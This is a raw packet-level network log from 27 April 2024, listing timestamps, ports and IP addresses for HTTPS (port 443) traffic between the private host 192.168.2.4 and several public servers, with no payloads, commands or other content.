Apr 27, 2024 00:11:33.577028990 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.577088118 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.577141047 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.577347994 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.577409029 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.581607103 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.581737995 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.581765890 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.581778049 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.581815958 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.581882954 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.581902027 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.581955910 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.581963062 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.581991911 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.582040071 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.582040071 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.603038073 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.603061914 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.722894907 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:33.722979069 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:33.723015070 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:33.723021984 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:33.723042011 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:33.723067999 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:33.723278999 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:33.723301888 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:33.723380089 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:33.723576069 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:33.723596096 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:33.723680019 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:33.723687887 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:33.723722935 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:33.723731995 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:33.723920107 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:33.723956108 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:33.724004030 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:33.724544048 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:33.724581957 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:33.724648952 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:33.724662066 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:33.724838018 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:33.724853992 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:33.724948883 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:33.724961042 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:33.725085020 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:33.725111961 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:33.725187063 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:33.725200891 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:33.914275885 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:33.924393892 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:33.924417019 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:33.925442934 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:33.925506115 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:34.002814054 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:34.004733086 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:34.053370953 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:34.053375006 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:34.117290020 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:34.162475109 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:34.162508011 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:34.162587881 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:34.162600994 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:34.165330887 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:34.165350914 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:34.165410042 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:34.166385889 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:34.166455984 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:34.172032118 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:34.213359118 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:34.232654095 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:34.232659101 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:34.236741066 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:34.236799002 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:34.339467049 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:34.339482069 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:34.340432882 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:34.340504885 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:34.405555010 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:34.453375101 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:34.624599934 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:34.624630928 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:34.625818968 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:34.625910044 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.251254082 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.251379967 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.251414061 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.251434088 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.251549959 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.251784086 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.252051115 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.252315998 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.252522945 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.252746105 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.253380060 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.253494024 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.253514051 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.253546953 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.253880978 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.253917933 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.254250050 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.254260063 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.254324913 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.254343987 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.254395008 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.254442930 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.254868031 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.254889011 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.297072887 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.297110081 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.304063082 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.304085970 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.304095984 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.304124117 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.344046116 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.344455004 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.344957113 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.345007896 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.345027924 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.345890999 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.347466946 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.347512007 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.347526073 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.350008965 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.350050926 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.350063086 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.352904081 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.352957964 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.352967978 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.353857040 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.354007959 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.354058027 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.354068995 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.354168892 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.354218006 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.354226112 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.354367971 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.354414940 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.354423046 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.354538918 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.354588032 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.354594946 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.354686022 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.354744911 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.354751110 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.354832888 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.354885101 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.354892015 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.355166912 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.355216980 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.355223894 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.355336905 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.355387926 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.355395079 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.355485916 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.355535030 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.355542898 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.356226921 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.356376886 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.356412888 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.356424093 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.356431007 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.356486082 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.356497049 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.356533051 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.356579065 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.356580019 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.356585979 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.356627941 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.356635094 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.356712103 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.356751919 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.356756926 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.356764078 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.356780052 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.356795073 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.356806040 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.356837034 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.356842995 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.356858969 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.356908083 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.356916904 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.356925964 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.356978893 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.356986046 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.357120037 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.357167959 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.357186079 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.357269049 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.357315063 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.357321978 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.357345104 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.357389927 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.357397079 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.357430935 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.357481003 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.357486963 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.357495070 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.357549906 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.357557058 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.357634068 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.357685089 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.357692003 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.357698917 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.357758045 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.358364105 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.358418941 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.358426094 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.358516932 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.358562946 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.358568907 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.358661890 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.358704090 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.358710051 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.359338045 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.359426975 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.359462023 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.359476089 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.359483004 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.359508991 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.359527111 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.359623909 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.359668970 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.359675884 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.359736919 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.359757900 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.359785080 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.359791994 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.359822035 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.359828949 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.360013962 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.360063076 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.360069036 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.360203981 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.360249996 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.360255957 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.360379934 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.360430002 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.360435963 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.360677958 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.360723019 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.360733986 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.360939026 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.361057043 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.361063004 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.361176014 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.361229897 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.361236095 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.361593008 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.361654043 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.361660004 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.362581015 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.362596989 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.362623930 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.362633944 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.362636089 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.362644911 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.362657070 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.362662077 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.362664938 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.362674952 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.362687111 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.362709999 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.362720013 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.362740040 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.362853050 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.362898111 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.362904072 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.363682985 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.363729000 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.363735914 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.364873886 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.364932060 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.364938974 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.365293980 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.365340948 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.365346909 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.365575075 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.365619898 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.365626097 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.365896940 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.365950108 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.365955114 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.366044998 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.366092920 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.366097927 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.366200924 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.366247892 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.366252899 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.366463900 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.366519928 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.377671003 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.377679110 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.377693892 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.377793074 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.377809048 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.377876043 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.378530979 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.378575087 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.378601074 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.378607035 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.378628016 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.379143953 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.379152060 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.379178047 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.379189014 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.379198074 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.379214048 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.379214048 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.379251003 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.379285097 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.379287958 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.379287958 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.379318953 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.403474092 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.421762943 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.421919107 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.443438053 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.443552017 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.443572044 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.443629026 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.444941044 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.444956064 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.445054054 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.445074081 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.445111990 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.448652029 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.448724031 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.449213982 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.449271917 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.449489117 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.449500084 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.449539900 CEST	443	49760	151.101.130.137	192.168.2.4
